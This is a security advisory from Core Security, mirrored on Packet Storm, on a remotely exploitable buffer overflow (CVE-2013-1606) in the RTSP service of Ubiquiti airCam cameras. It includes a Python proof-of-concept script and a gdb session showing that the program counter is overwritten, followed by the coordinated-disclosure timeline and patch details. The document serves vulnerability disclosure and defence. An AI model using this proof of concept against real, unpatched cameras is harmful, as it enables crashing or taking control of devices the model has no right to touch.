Ubiquiti airCam RTSP Service Buffer Overflow

2013-06-12T00:00:00
ID PACKETSTORM:121986
Type packetstorm
Reporter Core Security Technologies
Modified 2013-06-12T00:00:00

Description

                                        
                                            `Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com  
  
Buffer overflow in Ubiquiti airCam RTSP service  
  
  
1. *Advisory Information*  
  
Title: Buffer overflow in Ubiquiti airCam RTSP service  
Advisory ID: CORE-2013-0430  
Advisory URL:  
http://www.coresecurity.com/advisories/buffer-overflow-ubiquiti-aircam-rtsp-service  
Date published: 2013-06-11  
Date of last update: 2013-06-11  
Vendors contacted: Ubiquiti  
Release mode: Coordinated release  
  
  
2. *Vulnerability Information*  
  
Class: Classic buffer overflow [CWE-120]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2013-1606  
  
  
3. *Vulnerability Description*  
  
The Ubiquiti [1] airCam RTSP service 'ubnt-streamer', has a buffer  
overflow when parsing the URI of a RTSP request message. This bug allows  
remote attackers to execute arbitrary code via RTSP request message.  
  
  
4. *Vulnerable Packages*  
  
. Cameras Models: airCam, airCam Mini, airCam Dome.  
. Firmware Version Verified: AirCam v1.1.5.  
. Other devices are probably affected too, but they were not checked.  
  
  
5. *Non-Vulnerable Packages*  
  
. firmware v1.2.0 (airVision 2.x platform).  
. firmware v1.1.6 (airVision 1.x platform).  
  
6. *Vendor Information, Solutions and Workarounds*  
  
Patched firmware versions can be downloaded from the Ubiquiti official  
website [2], [3].  
  
  
7. *Credits*  
  
These vulnerabilities were discovered and researched by Andres Blanco  
from Core Exploit Writers Team. The publication of this advisory was  
coordinated by Fernando Miranda from Core Advisories Team.  
  
  
8. *Technical Description / Proof of Concept Code*  
  
  
/-----  
#  
# Author: Andres Blanco - CORE Security Technologies.  
#  
# The contents of this software are copyright (c) 2013 CORE Security and  
(c) 2013 CoreLabs,  
# and are licensed under a Creative Commons Attribution Non-Commercial  
Share-Alike 3.0 (United States)  
# License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
#  
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED  
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE  
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR  
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF  
# THIS SOFTWARE.  
#  
  
import socket  
  
class RtspRequest(object):  
  
def __init__(self, ip_address, port):  
self._ip_address = ip_address  
self._port = port  
  
def generate_request(self, method, uri, headers):  
data = ""  
data += "%s %s RTSP/1.0\r\n" % (method, uri)  
for item in headers:  
header = headers[item]  
data += "%s: %s\r\n" % (item, header)  
data += "\r\n"  
return data  
  
def send_request(self, data):  
sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sd.settimeout(15)  
sd.connect((self._ip_address, self._port))  
sd.send(data)  
resp = sd.recv(2048)  
sd.close()  
return resp  
  
if __name__ == "__main__":  
ip = "192.168.100.1"  
anRtsp = RtspRequest(ip, 554)  
data = ""  
data += "A" * 271  
data += "\x78\x56\x34\x12"  
uri = "rtsp://%s/%s/live/ch00_0" % (ip, data)  
headers = { "CSeq" : "1" }  
req = anRtsp.generate_request("DESCRIBE", uri, headers)  
rsp = anRtsp.send_request(req)  
-----/  
  
Below the gdb session when executing the PoC.  
  
/-----  
AirCam.v1.1.5# ./gdb --pid 358  
...  
Attaching to process 358  
  
warning: process 358 is a cloned process  
Reading symbols from /bin/ubnt-streamer...(no debugging symbols  
found)...done.  
Reading symbols from /lib/libpthread.so.0...(no debugging symbols  
found)...done.  
...  
0x401c60a0 in select () from /lib/libc.so.6  
(gdb) c  
Continuing.  
  
Program received signal SIGSEGV, Segmentation fault.  
0x12345678 in ?? ()  
(gdb) info registers  
r0 0x0 0  
r1 0x1 1  
r2 0xffffffff 4294967295  
r3 0x1 1  
r4 0x41414141 1094795585  
r5 0x41414141 1094795585  
r6 0x41414141 1094795585  
r7 0xd7198 881048  
r8 0x0 0  
r9 0x0 0  
r10 0xc6119 811289  
r11 0xc625f 811615  
r12 0x23 35  
sp 0x40a7eaf0 0x40a7eaf0  
lr 0x48d34 298292  
pc 0x12345678 0x12345678  
cpsr 0x20000010 536870928  
(gdb) info stack  
#0 0x12345678 in ?? ()  
#1 0x00048d34 in ?? ()  
#2 0x00048d34 in ?? ()  
Backtrace stopped: previous frame identical to this frame (corrupt stack?)  
(gdb) x/50xw $sp-0x80  
0x40a7ea70: 0x41414141 0x41414141 0x41414141 0x41414141  
0x40a7ea80: 0x41414141 0x41414141 0x41414141 0x41414141  
0x40a7ea90: 0x41414141 0x41414141 0x41414141 0x41414141  
0x40a7eaa0: 0x41414141 0x41414141 0x41414141 0x41414141  
0x40a7eab0: 0x41414141 0x41414141 0x41414141 0x41414141  
0x40a7eac0: 0x41414141 0x41414141 0x41414141 0x41414141  
0x40a7ead0: 0x41414141 0x41414141 0x41414141 0x41414141  
0x40a7eae0: 0x41414141 0x41414141 0x41414141 0x12345678  
0x40a7eaf0: 0x76696c2f 0x68632f65 0x305f3030 0x000d7100  
0x40a7eb00: 0x000c6060 0x000c6119 0x00059340 0x000491a8  
0x40a7eb10: 0x000d73f6 0x000c6267 0x00000001 0x000c6060  
0x40a7eb20: 0x000c6119 0x00059340 0x000c6118 0x00049780  
0x40a7eb30: 0x00000000 0x000c611c  
-----/  
  
  
9. *Report Timeline*  
  
. 2013-05-02:  
Core Security Technologies notifies the Ubiquiti team of the  
vulnerability. Publication date is set for May 29th, 2013.  
  
. 2013-05-02:  
Vendor acknowledges the receipt of the email and asks for technical  
details.  
  
. 2013-05-02:  
A draft report with technical details and a PoC sent to Ubiquiti team.  
  
. 2013-05-03:  
Vendor notifies that a new firmware version should address this  
vulnerability. It will be released shortly to the alpha and beta community.  
  
. 2013-05-06:  
Core notifies that the advisory will be re-scheduled to be released when  
patches are available to the alpha and beta community and asks for a  
tentative release date.  
  
. 2013-05-09:  
Core asks for a status update regarding this vulnerability and a  
tentative release date.  
  
. 2013-05-13:  
Vendor notifies the firmware is still in internal testing and the  
release date will be confirmed in the following days.  
  
. 2013-05-27:  
Core notifies that there was no answer in the last 2 weeks regarding the  
release date. Core also notifies that the advisory was re-scheduled for  
Jun 4th, and asks for a clear timeline to justify keep delaying the  
release.  
  
. 2013-05-28:  
Vendor notifies that the new firmware is almost done and a confirmed  
date will be notified in the following days.  
  
. 2013-05-29:  
Core asks if a beta firmware is available for downloading.  
  
. 2013-05-29:  
Vendor notifies that they have a v1.1.6 build of the firmware which is  
being tested internally and will be released very soon, probably this  
week. However, it is not yet available on the ubnt.com/download site.  
  
. 2013-05-29:  
First release date missed.  
  
. 2013-06-03:  
Core asks for a status update.  
  
. 2013-06-03:  
Vendor notifies that they do not have a specific release date yet.  
  
. 2013-06-11:  
Vendor notifies that they released firmware 1.2.0 along with airVision 2  
[2][3], and a public announcement will be made soon. Release of firmware  
1.1.6 (for the airVision 1.x platform) has to be defined.  
  
. 2013-06-11:  
Advisory CORE-2013-0430 published.  
  
  
10. *References*  
  
[1] http://www.ubnt.com.  
[2] Ubiquiti downloads http://www.ubnt.com/download#AirCam.  
[3] Ubiquiti firmware v1.2.0  
http://www.ubnt.com/downloads/AirCam-v1.2.0.build17961.bin.  
  
  
11. *About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://corelabs.coresecurity.com.  
  
  
12. *About Core Security Technologies*  
  
Core Security Technologies enables organizations to get ahead of threats  
with security test and measurement solutions that continuously identify  
and demonstrate real-world exposures to their most critical assets. Our  
customers can gain real visibility into their security standing, real  
validation of their security controls, and real metrics to more  
effectively secure their organizations.  
  
Core Security's software solutions build on over a decade of trusted  
research and leading-edge threat expertise from the company's Security  
Consulting Services, CoreLabs and Engineering groups. Core Security  
Technologies can be reached at +1 (617) 399-6980 or on the Web at:  
http://www.coresecurity.com.  
  
  
13. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2013 Core Security  
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative  
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)  
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
  
14. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
`